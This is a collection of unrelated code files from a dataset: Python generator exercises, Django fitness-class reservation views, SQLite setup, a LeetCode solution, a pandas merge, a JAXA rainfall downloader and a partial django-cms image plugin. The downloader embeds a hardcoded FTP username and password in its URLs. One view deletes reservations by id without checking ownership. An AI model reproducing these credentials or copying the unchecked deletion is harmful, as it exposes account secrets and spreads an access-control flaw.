range(10))#第一种generator,(列表生成式)\n\ndef go():\n n = 0\n\n while True:\n n = n + 1\n yield n\na = go()\n#让a指向函数go()表示从yield开始,即函数go()只调用了一次\nprint(next(a),next(a),next(a),next(a),next(a) )\n#直接使用next(go())表示从函数开头开始执行,即每次都重新调用新的go()函数 \nprint(next(go()),next(go()),next(go()),next(go()),next(go()))\n\nt = 0\ndef change():\n#global代表调用全局变量,这样即使函数从头开始重新执行变量修改也会被传出\n global t\n while True:\n t = t + 1\n yield t\nprint(next(change()),next(change()),next(change()),next(change()),next(change()))\n\n\ndef fib(x):#第二种generator,函数中yield是中断位置\n n,a,b = 0,0,1\n while n < x:\n yield b\n a,b =b,a+b\n n = n + 1\n return 'done'\n\nk = fib(10)\nwhile True:\n try:#一种通用的错误处理方式\n x = next(k)\n print('k',x)\n except StopIteration as e:\n print('Generator return value :',e.value)\n break\n \n \ndef triangles():\n l = [1]\n while 1:\n yield l#yield 建立generator一定要在函数里面\n l = [1]+[l[n]+l[n+1] for n in range(len(l)-1)]+[1] \nn = 0\nfor t in triangles():\n print(t)\n n = n+1\n if n == 10:\n break\n''' \n可迭代对象Iterable:能作用于for循环\n迭代器Iterator:能做用于for循环,并且可以用next()函数\n迭代器Iterator是一个数据流,不需要知道长度,可以表达全体自然数,但list却不可以\n'''\nfrom collections import Iterable,Iterator\n\nprint(isinstance( 'abcde',Iterable))\nprint(isinstance( 'abcde',Iterator))\nprint(isinstance(iter('abcde'),Iterator))#方法iter()可以吧iterable迭代变成iterator生成器\n\nfor x in [1,2,3,4,5]:\n pass\n \nit = iter([1,2,3,4,5])#两者是完全等价的,本质上第二种就是第一种的执行过程\nwhile True:\n try:\n x = next(it)\n except:\n break","sub_path":"Python/work/11_generator.py","file_name":"11_generator.py","file_ext":"py","file_size_in_byte":2594,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"369487423","text":"from datetime import date\nfrom django.shortcuts import render, redirect\nfrom datetime import datetime, date\nfrom . models import Reservation\nfrom fitnessClass.models import FitnessClass\nfrom accounts.models import *\nfrom django.contrib.auth.decorators import login_required\nfrom accounts.forms import *\n\n# Create your views here.\n@login_required(login_url=\"accounts:login\")\ndef reserve_view(request):\n currentUser = request.user\n duplicate = False\n newUserFlag = True\n duplicateMessage = ''\n customerForm = staffCustomerForm() \n if request.method == 'POST':\n statement = ''\n className = request.POST.get('className')\n instructorName = request.POST.get('instructorName')\n startTime = request.POST.get('startTime')\n endTime = request.POST.get('endTime')\n classDate = request.POST.get('date')\n classId = request.POST.get('classId')\n today = (date.today().strftime('%m-%d-%Y'))\n dateFormated = formatDate(classDate) \n (available, max) = availability(classId, dateFormated)\n\n if int(max) >= 10:\n if int(available) >= 10:\n availabilityTitle = 'Availability'\n elif int(available) < 10 and int(available) > 0:\n availabilityTitle = 'OverDraft Room Availability'\n else:\n availabilityTitle = 'Position on WaitList'\n else:\n if int(available) < 1:\n temp_available = f'{-(available)}'\n available = temp_available\n availabilityTitle = 'Position on WaitList'\n available = (int(available) + 1)\n else:\n availabilityTitle = 'Availability'\n \n (duplicate, duplicateMessage) = checkDuplicateReservation(getCustomer(request), dateFormated, getFitnessClass(classId))\n (classPassedFlag, classPassedMessage) = checkClassPassed(getFitnessClass(classId), dateFormated)\n rv = {\n 'statement': statement,\n 'className':className,\n 'instructorName':instructorName,\n 'startTime':startTime,\n 'endTime':endTime,\n 'classDate':classDate ,\n 'today': today,\n 'availabilityTitle': availabilityTitle,\n 'available':available,\n 'classId':classId,\n 'duplicate':duplicate,\n 'duplicateMessage':duplicateMessage,\n 'classPassedFlag': classPassedFlag,\n 'classPassedMessage': classPassedMessage,\n 'currentUser': currentUser,\n 'customerForm': customerForm,\n 'newUserFlag': newUserFlag,\n }\n return render(request, 'reservations/reserve.html', rv)\n else:\n return redirect('fitnessClass:schedule')\n\n\n@login_required(login_url=\"accounts:login\")\ndef submission_view(request):\n if request.method == \"POST\":\n customerReserving = None\n userExists = True\n submitted = request.POST.get('submitted')\n currentUser = request.user\n classId = request.POST.get('classId')\n classDate = request.POST.get('classDate')\n dateFormated = formatDate(classDate)\n duplicateReservation = False\n\n if request.user.is_staff:\n #check if customer has an account otherwise send flag that will allow them to see the create account button\n firstName = request.POST.get('firstName').lower().strip()\n lastName = request.POST.get('lastName').lower().strip()\n email = request.POST.get('email').lower().strip()\n (userExists, user) = checkUser([firstName, lastName, email])\n if userExists:\n customerReserving = user\n (flag, value) = checkDuplicateReservationStaff(classId, dateFormated, user)\n if flag == True:\n statement = value\n return render(request, 'reservations/submission.html', {'statement':statement, 'userExists':userExists, 'duplicateReservation':flag}) \n else:\n statement = \"* User with the given information does not have an account. Please ensure all entered data is valid. Otherwise please create an account first and then create a reservation.\"\n return render(request, 'reservations/submission.html', {'statement':statement, 'userExists':userExists, 'duplicateReservation': duplicateReservation}) \n\n (available, max) = availability(classId, dateFormated)\n statement = {}\n statement['currentUser'] = currentUser\n list = FitnessClass.objects.all().filter(id = classId)\n\n fitnessClass = ''\n for i in list:\n fitnessClass = i\n \n reservationInstance = Reservation()\n reservationInstance.classReserved = fitnessClass\n duplicateFlag = False\n statement['duplicateFlag'] = duplicateFlag\n \n if currentUser.is_staff:\n customerId = customerReserving.id\n list = Account.objects.all().filter(id = customerId)\n customer = ''\n for i in list:\n customer = i\n reservationInstance.customerReserving = customer\n else:\n reservationInstance.customerReserving = getCustomer(request)\n\n if duplicateFlag == False:\n reservationInstance.classDate = dateFormated\n reservationInstance.reservationTimeStamp = datetime.now()\n statement['classDate'] = classDate\n statement['classReserved'] = reservationInstance.classReserved\n statement['customerReserving'] = reservationInstance.customerReserving\n\n if int(max) > 9:\n if int(available) > 10:\n reservationInstance.reservationStatus = 'Reserved'\n elif int(available) <= 10 and int(available) > 0:\n reservationInstance.reservationStatus = 'OverDraft'\n else:\n reservationInstance.reservationStatus = 'WaitList'\n else:\n if int(available) > 0:\n reservationInstance.reservationStatus = 'Reserved'\n else:\n reservationInstance.reservationStatus = 'WaitList'\n \n if submitted == 'True':\n reservationInstance.save()\n \n statement['reservationStatus'] = reservationInstance.reservationStatus\n waitList = getWaitListPosition(dateFormated, reservationInstance)\n statement['waitListPosition'] = 0\n if waitList > 0:\n statement['waitListPosition'] = waitList + 1\n statement['currentUser'] = currentUser\n return render(request, 'reservations/submission.html', statement)\n else:\n return render(request, 'reservations/submission.html', statement)\n\n@login_required(login_url=\"accounts:login\")\ndef myReservations_view(request):\n returnValue = [] \n if request.method == 'POST':\n reservationId = request.POST.get('reservationId')\n intId = Reservation.objects.values_list('id', flat=True).filter(id = reservationId)\n temp_id = intId[0]\n Reservation.objects.filter(id = temp_id).delete()\n currentUser = request.user.id\n customer = Account.objects.all().filter(id = currentUser)\n customerId = ''\n for i in customer:\n customerId = i\n todaysDate = date.today()\n select = Reservation.objects.all().filter(customerReserving = customerId).order_by('-classDate')\n\n for i in select:\n if i.classDate >= todaysDate:\n returnValue.append(i)\n return render(request, 'reservations/myReservations.html', {'reservations':returnValue})\n\n@login_required(login_url=\"accounts:login\")\ndef staffReservations_view(request):\n if request.user.is_staff == False:\n return redirect('fitnessClass:schedule')\n rv = {}\n if request.method == 'GET':\n rv['flag'] = True\n select = FitnessClass.objects.all().order_by(\"dayOfWeek\")\n classList = {}\n days = ['Sunday', 'Monday', 'Tuesday', 'Wednesday', 'Thursday', 'Friday', 'Saturday']\n counter = 0\n while counter < len(days):\n for i in select:\n if i.dayOfWeek == days[counter]:\n classList[i.id] = i\n counter += 1\n rv['classList'] = classList\n return render(request, 'reservations/staffReservations.html', rv)\n else:\n action = request.POST.get('action')\n if action == 'cancel':\n temp_id = request.POST.get('reservationId')\n Reservation.objects.filter(id = temp_id).delete()\n elif action == 'overDraftToReserved':\n temp_id = request.POST.get('reservationId')\n r = Reservation.objects.get(id = temp_id)\n r.reservationStatus = 'Reserved'\n r.save()\n elif action == 'waitListToOverDraft':\n temp_id = request.POST.get('reservationId')\n r = Reservation.objects.get(id = temp_id)\n r.reservationStatus = 'OverDraft'\n r.save()\n elif action == 'waitListToReserved':\n temp_id = request.POST.get('reservationId')\n r = Reservation.objects.get(id = temp_id)\n r.reservationStatus = 'Reserved'\n r.save()\n else:\n ''\n\n classId = request.POST.get('classId')\n select = Reservation.objects.all().filter(classReserved = getFitnessClass(classId)).order_by('reservationTimeStamp')\n reservedList = {}\n waitList = {}\n overDraftList = {}\n #enter code to send back the classes ID and present the staff memebers with the table \n counter = 0\n reservedCounter = 0\n overDraftCounter = 0\n waitListCounter = 0\n cName = FitnessClass.objects.all().filter(id = classId)\n classTitle = ''\n for i in cName:\n classTitle = f'{i.className} - {i.dayOfWeek}'\n classMaximum = 0\n for i in select:\n classMaximum = i.classReserved.maximumCapacity\n (flag, value) = checkDate(i.classDate)\n if flag == True:\n counter = i.id\n if i.reservationStatus == \"Reserved\":\n reservedList[counter] = i\n rv['reservedList'] = reservedList\n reservedCounter += 1\n elif i.reservationStatus == \"WaitList\":\n waitList[counter] = i\n rv['waitList'] = waitList\n waitListCounter += 1\n else:\n overDraftList[counter] = i\n rv['overDraftList'] = overDraftList\n overDraftCounter += 1\n else:\n rv['statement'] = value\n rv['flag'] = False\n return render(request, 'reservations/staffReservations.html', rv)\n reservedAndOverDraftTotal = reservedCounter + overDraftCounter\n rv['reservedCounter'] = reservedCounter\n rv['waitListCounter'] = waitListCounter\n rv['overDraftCounter'] = overDraftCounter\n rv['flag'] = False\n rv['classTitle'] = classTitle\n rv['classMaximum'] = int(classMaximum)\n rv['overDraftMaximum'] = 10\n rv['reservedAndOverDraftTotal'] = reservedAndOverDraftTotal\n return render(request, 'reservations/staffReservations.html', rv)\n\ndef availability(classId, date):\n count = Reservation.objects.filter(classDate = date, classReserved = classId).count()\n max = FitnessClass.objects.values_list('maximumCapacity', flat=True).get(id=classId)\n available = int(max) - count\n return (available, max)\n\n# '01-01-2021' --> 2021-01-01\ndef formatDate(date):\n dateStr = date[6:] + '-' + date[0:2] + '-' + date[3:5]\n return (dateStr)\n\ndef checkDate(dateOfClass):\n temp_classDate = str(dateOfClass)\n classDate = temp_classDate[0:10]\n todayDate = date.today().strftime('%Y-%m-%d')\n if classDate < todayDate:\n return (False, 'The class date is in past')\n else:\n return (True, 'Today greater than today date')\n\ndef getCustomer(request):\n customerId = request.user.id\n list = Account.objects.all().filter(id = customerId)\n customer = ''\n for i in list:\n customer = i\n return customer\n\ndef getFitnessClass(classId):\n list = FitnessClass.objects.all().filter(id = classId)\n fitnessClass = ''\n for i in list:\n fitnessClass = i\n return fitnessClass\n\ndef getWaitListPosition(dateOfClass, currentReservation):\n list = Reservation.objects.filter(classReserved = currentReservation.classReserved, classDate = dateOfClass, reservationStatus = \"WaitList\")\n count = 0\n for line in list:\n resTimeStamp = line.reservationTimeStamp\n if currentReservation.reservationTimeStamp > resTimeStamp:\n count += 1\n return count\n\ndef cancelFunction(dateOfClass, currentWaitNumber):\n list = Reservation.objects.filter(classDate = dateOfClass)\n waitList = []\n id = ''\n for line in list:\n waitNumber = line.waitNumber\n if waitNumber > 0 and waitNumber < currentWaitNumber:\n tempWait = min(waitList)\n if waitNumber < tempWait:\n id = line.id\n return id\n\n#checks for duplicate reservations when a customer is reserving\ndef checkDuplicateReservation(customer, dateOfClass, classId):\n count = Reservation.objects.filter(customerReserving = customer, classReserved = classId, classDate = dateOfClass).count()\n if count > 0 :\n return (True, f'* You have an existing reservation')\n else:\n return (False, '')\n\ndef checkDuplicateReservationStaff(classId, dateOfClass, customer):\n reservations = Reservation.objects.filter(classReserved = classId, classDate = dateOfClass, customerReserving = customer)\n if len(reservations) > 0:\n duplicate = None\n for i in reservations:\n duplicate = i\n return (True, f'{duplicate.customerReserving.firstName} already has a reservation made for {duplicate.classReserved.className} @ {duplicate.classReserved.startTime} on {duplicate.classReserved.dayOfWeek} - {duplicate.classDate}')\n else:\n return (False, '')\n\ndef checkClassPassed(fitnessClass, classDate):\n startTime = str(fitnessClass.startTime)\n startDate = classDate\n nT = datetime.now()\n nowTime = nT.strftime('%I:%M %p')\n nowDate = date.today().strftime('%Y-%m-%d')\n\n if startDate > nowDate:\n return(False, '* Class date is in the future.')\n elif startDate == nowDate:\n # same date - start time is in AM - now time is PM. Return True since class has already passed.\n if startTime[6:] == 'AM' and nowTime[6:] == 'PM':\n return(True, '* This class has begun started or has already taken place today. Can not reserve !!!')\n # same date - same half of the day i.e. (AM and AM) or (PM and PM)\n elif startTime[6:] == nowTime[6:]:\n # same date - same am/pm, Check hour of day and minutes\n if startTime[0:2] > nowTime[0:2]:\n return(False, '* This class startime hour is in the future')\n elif startTime[0:2] == nowTime[0:2]:\n if startTime[3:5] >= nowTime[3:5]:\n return(False, '* Class start time minutes are greater than or equal to now time minutes')\n else:\n return(True, '* This class has already started or has already taken place today. Can not reserve !!!')\n else:\n return(True, '* This class has already started or has already taken place today. Can not reserve !!!')\n # same date - start time is in PM - now time is in AM. Return class passed flag as false, and allow reservation.\n else:\n return(False, '* Class is later in the day')\n else:\n return(True, '* Class dates are from the past. Can not reserve !!!')\n\ndef checkUser(userInfo):\n firstName = userInfo[0].lower()\n lastName = userInfo[1].lower()\n email = userInfo[2].lower()\n\n account = Account.objects.all().filter(firstName = firstName, lastName = lastName, email = email)\n if len(account) > 0:\n for i in account:\n return (True, i)\n else:\n return (False, '')","sub_path":"reservations/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":16260,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"145507150","text":"#coding=utf8\n# create.py 创建相关数据库和表,仅在程序开始前,做一次操作即可\nfrom mypack.classify.config import *\nimport os\nfrom pysqlite2 import dbapi2 as sqlite3\n\ndef init_db():\n if os.path.exists( DB ):\n log.error( '%s aready exists!' % DB )\n exit(1)\n #os.unlink( DB )\n \n con = sqlite3.connect( DB ) \n#def create_df_tb():\n tmps = [ \"%s int\" % cate for cate in CATES]\n cates_str = ','.join( tmps )\n tb_sql = \"create table %s (word text primary key,%s,total int);\" % (DF_TB,cates_str)\n con.execute( tb_sql ) \n log.info( 'create table :%s' % tb_sql )\n \n#def create_chi_tb():\n tmps = [ \"%s float\" % cate for cate in CATES]\n cates_str = ','.join( tmps )\n tb_sql = \"create table %s (word text primary key,%s,idf float);\" % (CHI_TB,cates_str)\n con.execute( tb_sql ) \n log.info( 'create table :%s' % tb_sql )\n \n # create table\n con.commit()\n con.close()\n\nif __name__=='__main__':\n init_db()\n","sub_path":"classify/db/create.py","file_name":"create.py","file_ext":"py","file_size_in_byte":1006,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"322760805","text":"from collections import Counter\nclass Solution:\n def combinationSum2(self, candidates: List[int], target: int) -> List[List[int]]:\n def backtrack(curr, target,start, num_dic):\n if target==0:\n out.append(list(curr))\n else:\n for i in range(start, len(num_dic)):\n key, val = num_dic[i]\n if val>0 and target-key>=0:\n curr.append(key)\n num_dic[i] = (key, val-1)\n backtrack(curr, target-key,i ,num_dic)\n curr.pop()\n num_dic[i] = (key, val)\n out=[]\n my_counter = Counter(candidates)\n num_dic = [(c,my_counter[c]) for c in my_counter]\n backtrack([],target,0, num_dic)\n return out\n","sub_path":"Problem40_Combination_Sum_II.py","file_name":"Problem40_Combination_Sum_II.py","file_ext":"py","file_size_in_byte":822,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"483292132","text":"##\n## Si la columna _c0 es la clave en las tablas tbl0.tsv\n## y tbl2.tsv, compute la suma de tbl2._c5b por cada\n## valor en tbl0._c1.\n## \n\nimport pandas as pd\nimport numpy as np\npd.set_option('display.notebook_repr_html', False)\n\ndata0 = pd.read_csv(\"tbl0.tsv\",delimiter='\\t')\ndata2 = pd.read_csv(\"tbl2.tsv\",delimiter='\\t')\n\ndata = pd.merge(data0,data2)\nsuma = (data.groupby('_c1').sum())[\"_c5b\"]\n\nprint(suma)","sub_path":"q12.py","file_name":"q12.py","file_ext":"py","file_size_in_byte":409,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"619191581","text":"from datetime import datetime, timedelta\nimport os\nfrom urllib.request import urlopen\nimport zipfile\nimport pandas as pd\n\n\ndef format_jaxa_df(df,\n d03_grid={'lon_min': 79.521461, 'lon_max': 82.189919, 'lat_min': 5.722969, 'lat_max': 10.064255}):\n df.drop(' Gauge-calibratedRain', axis=1, inplace=True)\n df.rename(columns={' Lat': 'Lat', ' Lon': 'Lon', ' RainRate': 'RainRate'}, inplace=True)\n d03_df = df[\n (df['Lon'] >= d03_grid['lon_min']) & (df['Lon'] <= d03_grid['lon_max']) & (df['Lat'] >= d03_grid['lat_min']) & (\n df['Lat'] <= d03_grid['lat_max'])]\n d03_df = d03_df.reset_index(drop=True)\n return d03_df\n\n\ndef unzip_file(src, dest='/home/hasitha/PycharmProjects/Jaxa/output'):\n with zipfile.ZipFile(src, 'r') as zip_ref:\n zip_ref.extractall(dest)\n\n\ndef download_file(url, dest):\n f = urlopen(url)\n with open(dest, \"wb\") as local_file:\n local_file.write(f.read())\n\n\ndef download_jaxa_data(date_str, dir_path=None):\n data_date = datetime.strptime(date_str, '%Y-%m-%d %H:%M:%S')\n login = 'rainmap:Niskur+1404'\n jaxa_url = 'ftp://' + login + '@hokusai.eorc.jaxa.jp/now/txt/05_AsiaSS/gsmap_now.YYYYMMDD.HH00_HH59.05_AsiaSS.csv.zip'\n date_dic = {'YYYY': data_date.strftime('%Y'), 'MM': data_date.strftime('%m'), 'DD': data_date.strftime('%d'),\n 'HH': data_date.strftime('%H')}\n for k, v in list(date_dic.items()):\n jaxa_url = jaxa_url.replace(k, v)\n if dir_path is not None:\n data_path = os.path.join(dir_path, 'jaxa_data')\n else:\n data_path = os.path.join(os.getcwd(), 'jaxa_data')\n if not os.path.exists(data_path):\n os.makedirs(data_path)\n jaxa_zip_file = os.path.join(data_path, os.path.basename(jaxa_url))\n download_file(jaxa_url, jaxa_zip_file)\n return jaxa_zip_file\n\n\ndef get_jaxa_download_url(time1, time2):\n jaxa_url = 'ftp://rainmap:Niskur+1404@hokusai.eorc.jaxa.jp/now/txt/05_AsiaSS/' \\\n 'gsmap_now.{}{}{}.{}{}_{}{}.05_AsiaSS.csv.zip'.format(time1.strftime('%Y'),\n time1.strftime('%m'),\n time1.strftime('%d'),\n time1.strftime('%H'),\n time1.strftime('%M'),\n time2.strftime('%H'),\n time2.strftime('%M'))\n return jaxa_url\n\n\ndef create_sat_rfield(jaxa_date, dir_path, time_gap=59):\n time1 = datetime.strptime(jaxa_date, '%Y-%m-%d %H:%M:%S')\n rfield_date = datetime.strptime(jaxa_date, '%Y-%m-%d %H:%M:%S')\n rfield_date = rfield_date.strftime('%Y-%m-%d_%H-%M')\n time2 = time1 + timedelta(minutes=time_gap)\n rfiled_file_name = 'jaxa_{}.txt'.format(rfield_date)\n jaxa_url = get_jaxa_download_url(time1, time2)\n print('create_sat_rfield|jaxa_url:', jaxa_url)\n jaxa_zip_file = os.path.join(dir_path, os.path.basename(jaxa_url))\n rfiled_file_path = os.path.join(dir_path, rfiled_file_name)\n try:\n download_file(jaxa_url, jaxa_zip_file)\n downloaded = os.path.exists(jaxa_zip_file) and os.path.isfile(jaxa_zip_file) and os.stat(\n jaxa_zip_file).st_size != 0\n if downloaded:\n unzip_file(jaxa_zip_file, dir_path)\n jaxa_csv_file = os.path.join(dir_path, (os.path.basename(jaxa_url)).replace('.zip', ''))\n df = pd.read_csv(jaxa_csv_file)\n d03_df = format_jaxa_df(df)\n d03_df.to_csv(rfiled_file_path, columns=['RainRate'], header=False, index=None)\n os.remove(jaxa_zip_file)\n os.remove(jaxa_csv_file)\n print('jaxa process completed.')\n else:\n print('jaxa data not available yet for time : '.format(jaxa_date))\n except Exception as e:\n print('create_sat_rfield|Exception :', str(e))\n\n\ndef roundTime(dt=None, dateDelta=timedelta(minutes=1)):\n \"\"\"Round a datetime object to a multiple of a timedelta\n dt : datetime.datetime object, default now.\n dateDelta : timedelta object, we round to a multiple of this, default 1 minute.\n Author: Thierry Husson 2012 - Use it as you want but don't blame me.\n Stijn Nevens 2014 - Changed to use only datetime objects as variables\n \"\"\"\n roundTo = dateDelta.total_seconds()\n\n if dt == None: dt = datetime.now()\n seconds = (dt - dt.min).seconds\n # // is a floor division, not a comment on following line:\n rounding = (seconds + roundTo / 2) // roundTo * roundTo\n return dt + timedelta(0, rounding - seconds, -dt.microsecond)\n\n\ndef gen_rfield():\n dir_path = '/mnt/disks/wrf_nfs/wrf/jaxa/rfield'\n jaxa_date = (roundTime(datetime.now() - timedelta(hours=3), timedelta(minutes=30))).strftime('%Y-%m-%d %H:%M:%S')\n print('Create rfield for {}'.format(jaxa_date))\n create_sat_rfield(jaxa_date, dir_path)\n\n\ndef gen_rain_field(start_time, end_time, dir_path):\n start_time = datetime.strptime(start_time, '%Y-%m-%d %H:%M:%S')\n end_time = datetime.strptime(end_time, '%Y-%m-%d %H:%M:%S')\n print('start_time : ', start_time)\n print('end_time : ', end_time)\n while start_time <= end_time:\n create_sat_rfield(start_time.strftime('%Y-%m-%d %H:%M:%S'), dir_path, time_gap=59)\n start_time = start_time + timedelta(minutes=30)\n print('png creation completed.')\n print('dir_path : ', dir_path)\n\n\ngen_rain_field('2019-10-13 09:30:00', '2019-10-14 10:00:00', '/mnt/disks/wrf_nfs/wrf/jaxa/rfield/')\n\n","sub_path":"jaxa_data.py","file_name":"jaxa_data.py","file_ext":"py","file_size_in_byte":5659,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"440372868","text":"import os\ntry:\n import json\nexcept:\n import simplejson as json\nimport logging\n\nfrom django import forms\nfrom django.conf import settings\nfrom django.core.exceptions import ValidationError\nfrom django.utils.translation import ugettext_lazy as _\nfrom easy_thumbnails.exceptions import EasyThumbnailsError\nfrom easy_thumbnails.files import get_thumbnailer\n\nfrom filer.settings import FILER_STATICMEDIA_PREFIX as static_prefix\nfrom cms.plugin_pool import plugin_pool\nfrom cms.plugin_base import CMSPluginBase\n\nfrom cmsplugin_filer_image import models\nfrom cmsplugin_filer_image.models import ThumbnailOption\n\n\nlogger = logging.getLogger(__name__)\n\n\nclass FilerImagePluginForm(forms.ModelForm):\n class Meta:\n model = models.FilerImage\n exclude = ()\n\n def __init__(self, *args, **kwargs):\n # hide related buttons for page link\n page_link_widget = self.base_fields['page_link'].widget\n page_link_widget.can_add_related = \\\n page_link_widget.can_change_related = \\\n page_link_widget.can_delete_related = False\n super(FilerImagePluginForm, self).__init__(*args, **kwargs)\n\n link_options_field = self.fields.get('link_options', None)\n # the values are css classes of the formsets that are shown/hidden\n # when link_options is changed\n formset_divs_cls = {\n models.FilerImage.OPT_NO_LINK: 'None',\n models.FilerImage.OPT_ADD_LINK: '.form-row.field-free_link.field-target_blank',\n models.FilerImage.OPT_PAGE_LINK: '.form-row.field-page_link',\n models.FilerImage.OPT_FILE_LINK: '.form-row.field-file_link',\n }\n if link_options_field:\n # this attr will be used in link_options.js\n link_options_field.widget.attrs = {\n 'data': json.dumps(formset_divs_cls)\n }\n\n qs = ThumbnailOption.objects.get_default_options(\n self.instance.has_attached_image())\n self.fields['thumbnail_option'].widget.choices.queryset = qs\n\n caption_credit_img = ('%sadmin/img/image-caption-credit.jpg'\n % (settings.STATIC_URL))\n\n popup_html = _(\"?\"\n % (caption_credit_img))\n self.fields['image'].widget.attrs.update({'helper_popup': popup_html})\n self.fields['alt_text'].widget.attrs.update(\n {'data-message_when_empty': _(\"Strongly recommended\")})\n\n def clean_free_link(self):\n link_options = self.cleaned_data['link_options']\n if (link_options == self.instance.OPT_ADD_LINK and\n not self.cleaned_data.get('free_link', '')):\n raise ValidationError('Link filed is required!')\n return self.cleaned_data['free_link']\n\n def clean_page_link(self):\n link_options = self.cleaned_data['link_options']\n if (link_options == self.instance.OPT_PAGE_LINK and\n not self.cleaned_data.get('page_link', None)):\n raise ValidationError('Page link is required!')\n return self.cleaned_data['page_link']\n\n def clean_file_link(self):\n link_options = self.cleaned_data['link_options']\n if (link_options == self.instance.OPT_FILE_LINK and\n not self.cleaned_data.get('file_link', None)):\n raise ValidationError('File link is required!')\n return self.cleaned_data['file_link']\n\n def clean_event_category(self):\n enable_event_tracking = self.cleaned_data['enable_event_tracking']\n link_options = self.cleaned_data['link_options']\n if (enable_event_tracking and\n link_options != self.instance.OPT_NO_LINK and\n not self.cleaned_data.get('event_category', None)):\n raise ValidationError('Event category is required!')\n return self.cleaned_data['event_category']\n\n def clean_event_action(self):\n enable_event_tracking = self.cleaned_data['enable_event_tracking']\n link_options = self.cleaned_data['link_options']\n if (enable_event_tracking and\n link_options != self.instance.OPT_NO_LINK and\n not self.cleaned_data.get('event_action', None)):\n raise ValidationError('Event action is required!')\n return self.cleaned_data['event_action']\n\n def save(self, commit=True):\n self._make_thumbnail_if_necessary()\n return super(FilerImagePluginForm, self).save(commit=commit)\n\n def _make_thumbnail_if_necessary(self):\n \"\"\"\n Explicitly make a thumbnail for the plugin if this is required.\n The thumbnail is actually created in django-cms edit_plugin view by\n accident because the view gets the image of the cms_plugin. This will\n only make one extra DB select in that case.\n \"\"\"\n plugin = self.instance\n actual_image = plugin.image\n if not actual_image or not plugin.width and not plugin.height:\n return\n if plugin.width == actual_image.width and plugin.height == actual_image.height:\n return\n options = get_thumbnail_options({}, self.instance)\n self.instance.image.image.file.get_thumbnail(options)\n\n\nclass FilerImagePlugin(CMSPluginBase):\n form = FilerImagePluginForm\n module = 'Filer'\n model = models.FilerImage\n name = _(\"Image\")\n render_template = \"cmsplugin_filer_image/image.html\"\n text_enabled = True\n raw_id_fields = ('image', 'file_link')\n admin_preview = False\n fieldsets = (\n (None, {\n 'fields': (('alt_text',),\n ('caption_text', 'show_caption'),\n ('credit_text', 'show_credit'),\n ('image', ), )\n }),\n (_('Image options'), {\n 'fields': ('thumbnail_option',\n 'alignment',\n 'link_options',\n ('free_link', 'target_blank',),\n 'page_link',\n 'file_link',)\n }),\n (_('Advanced'), {\n 'classes': ('collapse',),\n 'fields': (\n ('width', 'height', 'crop', 'maintain_aspect_ratio'),\n ('top_space', 'right_space', 'bottom_space', 'left_space'),\n 'border',\n 'enable_event_tracking',\n 'event_category',\n 'event_action',\n 'event_label',\n )\n }),\n )\n\n class Media:\n js = (\"admin/js/popup_handling_override.js\",\n \"admin/js/link_options.js\",\n \"admin/js/advanced_panel_text_additions.js\",\n \"admin/js/caption_formatting.js\",\n \"admin/js/popup_helper_image.js\",\n \"admin/js/event_tracking.js\",)\n css = {\n 'all': (\"admin/css/filer_image_form.css\",)\n }\n\n def get_thumbnail(self, context, instance):\n if instance.has_attached_image():\n filer_file_field = instance.image.image.file\n thumbnail_options = get_thumbnail_options(context, instance)\n return filer_file_field.get_thumbnail(thumbnail_options)\n\n def render(self, context, instance, placeholder):\n \"\"\"\n Render the context needed by the plugin template.\n Preffer to evaluate all attributes here so hidden/lazy operations can be profiled.\n \"\"\"\n if not instance.image:\n return {}\n options = get_thumbnail_options(context, instance)\n img_size = options[\"size\"]\n\n if instance.image.width == img_size[0] and instance.image.height == img_size[1]:\n image = instance.image\n else:\n image = get_thumbnailer(instance.image).get_thumbnail(options)\n if not image:\n logger.warning(\"Could not create thumbnail for image %s, options %s\",\n instance.image, options)\n return {}\n\n container_classes = []\n if instance.has_valid_caption() and image.width > 200:\n container_classes.append(\"has-caption\")\n if instance.has_valid_credit():\n container_classes.append(\"has-credit\")\n if instance.overlay_link:\n container_classes.append(\"zoom-in\")\n\n context.update({\n 'image_url': image.url,\n 'image_width': image.width,\n 'image_height': image.height,\n 'img_alt': instance.alt,\n 'link': instance.link,\n 'link_target': '_blank' if instance.target_blank else '_self',\n 'overlay_link': instance.overlay_link,\n 'caption': instance.caption or '',\n 'credit': instance.credit or '',\n 'container_style': self.make_container_style(instance, context, image),\n 'container_classes': ' '.join(container_classes),\n 'details_style': 'width:{}px;'.format(image.width),\n })\n if instance.has_valid_event_tracking():\n context['event_tracking'] = {\n 'category': instance.event_category,\n 'action': instance.event_action,\n 'label': instance.event_label or '',\n }\n return context\n\n def make_container_style(self, plugin, context, image):\n # Styles for images can be set from 2 places:\n # 1. filer image popup\n # 2. right click on the img from text plg and select Alignment option\n # The style set at point 1. can be accessed with instance.style\n # The style set at point 2. can be accessed with context[\"inherited_from_parent\"][\"style\"]\n # As you can see below, the style set at point 1. have priority\n # The style set at point 2. is taken into account to keep the consistence\n # with all other plugins.\n style = context.get(\"inherited_from_parent\", {}).get(\"style\", \"\")\n if plugin.alignment == plugin.CENTER:\n style += 'margin: auto; display: block;'\n else:\n style += \"float: %s;\" % plugin.alignment if plugin.alignment else \"\"\n\n if isinstance(plugin.top_space, (int, long)):\n style += \"margin-top: {}px;\".format(plugin.top_space)\n\n if isinstance(plugin.bottom_space, (int, long)):\n style += \"margin-bottom: {}px;\".format(plugin.bottom_space)\n\n if isinstance(plugin.left_space, (int, long)):\n style += \"margin-left: {}px;\".format(plugin.left_space)\n\n if isinstance(plugin.right_space, (int, long)):\n style += \"margin-right: {}px;\".format(plugin.right_space)\n\n if plugin.border:\n style += \"border: %spx solid black;\" % plugin.border\n\n style += \"width:{}px;\".format(image.width)\n return style\n\n\n def icon_src(self, instance):\n missingfile_icon = os.path.normpath(\n u\"%s/icons/missingfile_%sx%s.png\" % (static_prefix, 32, 32,))\n if instance.has_attached_image():\n if getattr(settings, 'FILER_IMAGE_USE_ICON', False):\n return instance.image.icons.get('32', missingfile_icon)\n elif instance.image.width and instance.image.height:\n # Fake the context with a reasonable width value because it is not\n # available at this 